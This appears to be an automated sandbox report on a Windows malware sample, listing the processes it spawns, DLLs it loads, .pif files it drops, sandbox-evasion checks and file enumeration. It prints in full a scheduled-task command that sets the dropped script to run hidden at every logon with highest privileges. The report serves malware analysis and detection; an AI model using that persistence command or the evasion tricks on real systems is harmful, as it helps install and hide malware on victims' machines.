Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"	Jump to behavior

Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: devobj.dll	Jump to behavior

Source: C:\Users\user\Desktop\5daucomrx8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

File written: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 5daucomrx8.exe

Static file information: File size 19159316 > 1048576

Source: 5daucomrx8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00318AA5 push ecx; ret	17_2_00318AB8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0030CBDD push eax; retf	17_2_0030CBF8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0030CC07 push eax; retf	17_2_0030CBF8
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC8AA5 push ecx; ret	21_2_00AC8AB8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0037577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	17_2_0037577B
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00305EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	17_2_00305EDA
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B2577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	21_2_00B2577B
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AB5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	21_2_00AB5EDA

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_003132E9 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

17_2_003132E9

Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Evasive API call chain: GetPEB, DecisionNodes, Sleep

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\5daucomrx8.exe	Stalling execution: Execution stalls by calling Sleep			graph_0-3897
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Stalling execution: Execution stalls by calling Sleep

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

21_2_00FEDB00

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_17-102578
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	API coverage: 4.7 %
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	API coverage: 1.4 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 5240	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif TID: 6212	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif TID: 5060	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif TID: 5060	Thread sleep count: 106 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 21_2_010D49B0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 010D49F1h

21_2_010D49B0

Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003547B7 GetFileAttributesW,FindFirstFileW,FindClose,	17_2_003547B7
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00353E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353E72
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035C16C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035CB81 FindFirstFileW,FindClose,	17_2_0035CB81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0035CC0C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F445
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F5A2
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035F8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00353B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	21_2_00B0C16C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B047B7 GetFileAttributesW,FindFirstFileW,FindClose,	21_2_00B047B7
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0CB81 FindFirstFileW,FindClose,	21_2_00B0CB81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	21_2_00B0CC0C
